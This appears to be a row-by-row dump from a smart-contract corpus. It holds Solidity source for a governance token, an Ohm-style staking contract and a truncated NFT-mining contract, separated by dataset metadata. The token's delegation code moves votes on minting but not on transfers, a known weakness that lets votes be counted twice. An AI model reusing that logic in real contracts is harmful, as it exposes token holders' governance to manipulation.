}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// Part: Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: ERC20Capped
abstract contract ERC20Capped is ERC20 {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap_) internal {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= cap(), "ERC20Capped: cap exceeded");
}
}
}
// File: CarbonABLE.sol
// Token with Governance.
contract CarbonABLEToken is ERC20Capped, Ownable {
using SafeMath for uint256;
constructor(string memory _name, string memory _symbol, uint256 _cap) ERC20(_name, _symbol) ERC20Capped(_cap) public {}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TOKEN::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TOKEN::delegateBySig: invalid nonce");
require(now <= expiry, "TOKEN::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "TOKEN::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 94,614 | 13,562 |
d1b332cebae0c9a25a035ded95a70012948ec8c8f8e357a7703d446167dc0fe8
| 25,849 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/71/714A519d6AFdf75FCaB5b76b9dE61b747b5498C9_Staking.sol
| 4,414 | 17,577 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IBang is IERC20 {
function rebase(uint256 ohmProfit_, uint256 epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint256 amount) external view returns (uint256);
function balanceForGons(uint256 gons) external view returns (uint256);
function index() external view returns (uint256);
}
interface IWarmup {
function retrieve(address staker_, uint256 amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract Staking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IBang;
IERC20 public immutable Big;
IBang public immutable Bang;
struct Epoch {
uint256 number;
uint256 distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint256 public totalBonus;
IWarmup public warmupContract;
uint256 public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint256 period);
constructor (address _Big,
address _Bang,
uint32 _epochLength,
uint256 _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Big != address(0));
require(_Bang != address(0));
Bang = IBang(_Bang);
Big = IERC20(_Big);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint256 deposit;
uint256 gons;
uint256 expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint256 _amount, address _recipient) external returns (bool) {
rebase();
Big.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[_recipient];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(Bang.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
Bang.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim(address _recipient) external {
Claim memory info = warmupInfo[_recipient];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[_recipient];
uint256 amount = Bang.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[msg.sender];
delete warmupInfo[msg.sender];
uint256 memoBalance = Bang.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Big.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint256 _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
Bang.safeTransferFrom(msg.sender, address(this), _amount);
Big.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint256) {
return Bang.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
Bang.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint256 balance = contractBalance();
uint256 staked = Bang.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint256) {
return Big.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS {DISTRIBUTOR, WARMUP}
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint256 _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 316,754 | 13,563 |
98017799bb4052566aa839882dc71a112e977406c5633ec5cb20b53356509263
| 23,550 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXUy5FZFYggUqVdkJWNU7pJyWVpDRt5ZP1_NFTMining.sol
| 5,189 | 18,185 |
//SourceUnit: NFTMining.sol
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// Math operations with safety checks that throw on error
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add Math error");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b, "sub Math error");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "mul Math error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a / b;
return c;
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
}
// Ownable Contract
contract Ownable {
address public Owner;
constructor() public {
Owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == Owner, "You not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
if (_newOwner != address(0)) {
Owner = _newOwner;
}
}
}
library TransferHelper {
function safeApprove(address token,
address to,
uint256 value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token,
address to,
uint256 value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token,
address from,
address to,
uint256 value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
}
// NFT Mining Contract
contract NFTMining is Ownable {
using SafeMath for uint256;
using TransferHelper for address;
//
struct tokenStruct {
//
bool isFlag;
// ; false=
bool isClosed;
//
string name;
//
uint256 totalDeposit;
//
uint256 totalWithdraw;
//
uint256 totalRed;
// LpaccShu
uint256 accSushi;
//
uint256 playerNumber;
//
uint256 block;
}
// =>
mapping(address => tokenStruct) public tokenMapping;
// Lp =>
mapping(address => tokenStruct) public lpMapping;
//
address[] public tokens;
// lp
address[] public lps;
//
struct userStruct {
//
uint256 amount;
//
uint256 alreadyRed;
// accSushi
uint256 accSushi;
}
// token=>=>
mapping(address => mapping(address => userStruct)) public userTokenMapping;
mapping(address => mapping(address => userStruct)) public userLpMapping;
//
mapping(address => bool) public userMapping;
// ; token=>=>
mapping(address => mapping(address => bool)) public tokenUserPlayer;
// ; lp=>=>
mapping(address => mapping(address => bool)) public lpUserPlayer;
// HNFT
address public hnftAddress;
// HNFT, Token=40% LP=60%; (000000000000000000)
uint256[3] public everyNumber = [5000000000000000000, 40, 60];
//
// 1: hnft
constructor(address _hnftAddress) public {
hnftAddress = _hnftAddress;
}
//
event Deposit(address _address, uint256 _value);
//
// 1:
// 3:
// 4: Lp
function setEveryNumber(uint256 _total, uint256 _token, uint256 _lp) external onlyOwner {
require(_token + _lp == 100, "Ratio error");
everyNumber[0] = _total;
everyNumber[1] = _token;
everyNumber[2] = _lp;
}
//
// 1: token
// 2:
function addToken(address _tokenAddress, string calldata _name) external onlyOwner {
require(_tokenAddress != address(0), "Zero address");
//
require(tokenMapping[_tokenAddress].isFlag == false, "Token exist");
//
tokenStruct memory _t = tokenStruct(true, false, _name, 0, 0, 0, 0, 0, block.number);
tokenMapping[_tokenAddress] = _t;
tokens.push(_tokenAddress);
}
// LP
// 1: lp
// 2:
function addLp(address _lpAddress, string calldata _name) external onlyOwner {
require(_lpAddress != address(0), "Zero address");
//
require(lpMapping[_lpAddress].isFlag == false, "Token exist");
//
tokenStruct memory _t = tokenStruct(true, false, _name, 0, 0, 0, 0, 0, block.number);
lpMapping[_lpAddress] = _t;
lps.push(_lpAddress);
}
// token
function closeOrOpenTokenPool(address _tokenAddress) external onlyOwner {
//
require(tokenMapping[_tokenAddress].isFlag == true, "Token not exist");
tokenMapping[_tokenAddress].isClosed = !tokenMapping[_tokenAddress].isClosed;
}
// lp
function closeOrOpenLpPool(address _lpAddress) external onlyOwner {
//
require(lpMapping[_lpAddress].isFlag == true, "Token not exist");
lpMapping[_lpAddress].isClosed = !lpMapping[_lpAddress].isClosed;
}
// tokens
function getTokens() external view returns (address[] memory _r) {
uint256 _length = tokens.length;
//
_r = new address[](_length);
for(uint256 i = 0; i < _length; i++) {
_r[i] = tokens[i];
}
}
// lps
function getLps() external view returns (address[] memory _r) {
uint256 _length = lps.length;
//
_r = new address[](_length);
for(uint256 i = 0; i < _length; i++) {
_r[i] = lps[i];
}
}
//////////////////////////////////////////// //////////////////////////////////////
// ; Token, Lp
// 1: token or Lp
// 2:
// 3: 1=token, 2=lp;
// 4:
// 5:
function _depositStorage(address _tokenAddress, uint256 _value, uint256 _tokenType, tokenStruct storage t_, userStruct storage u_) private {
//
_tokenAddress.safeTransferFrom(msg.sender, address(this), _value);
if(u_.amount == 0) {
// ,
//
u_.amount = u_.amount.add(_value);
// accSushiaccSushi
u_.accSushi = t_.accSushi;
//
t_.totalDeposit = t_.totalDeposit.add(_value);
return;
}
// , ,
//
uint256 _length;
if(_tokenType == 1) {
// tokens
_length = tokens.length;
}else {
// lps
_length = lps.length;
}
//
uint256 _totalRed = (block.number.sub(t_.block)).mul(everyNumber[0]).mul(everyNumber[_tokenType]).div(100).div(_length);
// accSushi
// uint256 _nowSushi = t_.accSushi + _totalRed / t_.totalDeposit;
uint256 _nowSushi = t_.accSushi.add(_totalRed.div(t_.totalDeposit));
//
// uint256 _userRed = u_.amount * (_nowSushi - u_.accSushi);
uint256 _userRed = u_.amount.mul(_nowSushi.sub(u_.accSushi));
// 0; erc200,
if(_userRed > 0) {
// HNFT
hnftAddress.safeTransfer(msg.sender, _userRed);
}
//
u_.amount = u_.amount.add(_value);
// accSushiaccSushi
u_.accSushi = _nowSushi;
//
u_.alreadyRed = u_.alreadyRed.add(_userRed);
//
t_.block = block.number;
//
t_.totalDeposit = t_.totalDeposit.add(_value);
//
t_.totalRed = t_.totalRed.add(_userRed);
// accSushiaccSushi
t_.accSushi = _nowSushi;
}
// ; =>
mapping(address => address) public superAddress;
//
struct inviteStruct {
//
uint256 time;
//
address subor;
}
mapping(address => inviteStruct[]) public inviteMapping;
// ; , ;
function getSubor(address _address) public view returns(uint256[] memory _t, address[] memory _s) {
uint256 _length = inviteMapping[_address].length;
//
_t = new uint256[](_length);
_s = new address[](_length);
for(uint256 i = 0; i < _length; i++) {
_t[i] = inviteMapping[_address][i].time;
_s[i] = inviteMapping[_address][i].subor;
}
}
uint256 public superRatio = 5;
uint256 public superSuperRatio = 2;
//
// 1: %;
// 2: %;
function setSuperRatio(uint256 _superRatio, uint256 _superSuperRatio) onlyOwner public {
superRatio = _superRatio;
superSuperRatio = _superSuperRatio;
}
// ; Token, LP
// 1: token or Lp
// 2:
// 3: 1=token, 2=lp;
// 4:
// 5:
function _withdrawStorage(address _tokenAddress, uint256 _value, uint256 _tokenType, tokenStruct storage t_, userStruct storage u_) private {
//
uint256 _length;
if(_tokenType == 1) {
// tokens
_length = tokens.length;
}else {
// lps
_length = lps.length;
}
uint256 _totalRed = (block.number.sub(t_.block)).mul(everyNumber[0]).mul(everyNumber[_tokenType]).div(100).div(_length);
// accSushi
// uint256 _nowSushi = t_.accSushi + _totalRed / t_.totalDeposit;
uint256 _nowSushi = t_.accSushi.add(_totalRed.div(t_.totalDeposit));
//
// uint256 _userRed = u_.amount * (_nowSushi - u_.accSushi);
uint256 _userRed = u_.amount.mul(_nowSushi.sub(u_.accSushi));
//
require(u_.amount >= _value, "Money error");
if(_value > 0) {
//
_tokenAddress.safeTransfer(msg.sender, _value);
}
// 0; erc200,
if(_userRed > 100) {
//
address _zeroAddress = address(0x0000000000000000000000000000000000000099);
address _super1 = superAddress[msg.sender];
address _super2 = superAddress[_super1];
uint256 _value3 = _userRed.mul(superRatio).div(100);
uint256 _value2 = _userRed.mul(superSuperRatio).div(100);
uint256 v95 = uint256(100).sub(superRatio).sub(superSuperRatio);
uint256 _value95 = _userRed.mul(v95).div(100);
if(_super1 == address(0)) {
_super1 = _zeroAddress;
}
if(_super2 == address(0)) {
_super2 = _zeroAddress;
}
//
hnftAddress.safeTransfer(_super1, _value3);
hnftAddress.safeTransfer(_super2, _value2);
hnftAddress.safeTransfer(msg.sender, _value95);
}
//
u_.amount = u_.amount.sub(_value);
// accSushiaccSushi
u_.accSushi = _nowSushi;
//
u_.alreadyRed = u_.alreadyRed.add(_userRed);
//
t_.block = block.number;
//
t_.totalDeposit = t_.totalDeposit.sub(_value);
//
t_.totalWithdraw = t_.totalWithdraw.add(_value);
//
t_.totalRed = t_.totalRed.add(_userRed);
// accSushiaccSushi
t_.accSushi = _nowSushi;
}
//
// 1: 1=token, 2=lp;
// 2:
// 3:
function _getRed(uint256 _tokenType, tokenStruct memory _t, userStruct memory _u) private view returns (uint256 _userRed) {
//
uint256 _length;
if(_tokenType == 1) {
// tokens
_length = tokens.length;
}else {
// lps
_length = lps.length;
}
//
uint256 _totalRed = (block.number.sub(_t.block)).mul(everyNumber[0]).mul(everyNumber[_tokenType]).div(100).div(_length);
// accSushi
